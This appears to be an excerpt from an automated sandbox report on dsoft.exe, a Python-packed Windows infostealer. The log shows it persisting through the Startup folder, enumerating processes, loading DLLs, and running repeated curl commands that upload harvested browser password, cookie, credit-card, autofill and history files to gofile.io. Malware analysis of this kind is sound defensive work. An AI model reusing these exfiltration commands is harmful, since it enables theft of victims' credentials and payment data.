            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Users\user\Desktop\dsoft.exe "C:\Users\user\Desktop\dsoft.exe"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFileJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe" Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFileJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: vcruntime140.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: python3.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: libffi-7.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: vcruntime140_1.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: libcrypto-1_1.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: libssl-1_1.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: sqlite3.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: vcruntime140.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: python3.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: libffi-7.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: vcruntime140_1.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: libcrypto-1_1.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: libssl-1_1.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: libcrypto-1_1.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: sqlite3.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: schannel.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
            Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: schannel.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: schannel.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: schannel.dll
            Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dll
            Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\tasklist.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Users\user\Desktop\dsoft.exeFile opened: C:\Users\user\Desktop\pyvenv.cfgJump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: dsoft.exeStatic PE information: Image base 0x140000000 > 0x60000000
            Source: dsoft.exeStatic file information: File size 15497216 > 1048576
            Source: dsoft.exeStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xe86e00
            Source: dsoft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
            Source: dsoft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
            Source: dsoft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
            Source: dsoft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: dsoft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
            Source: dsoft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
            Source: dsoft.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
            Source: dsoft.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: dsoft.exe, 00000000.00000003.1985477905.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159177221.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160087254.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159279158.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160087254.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
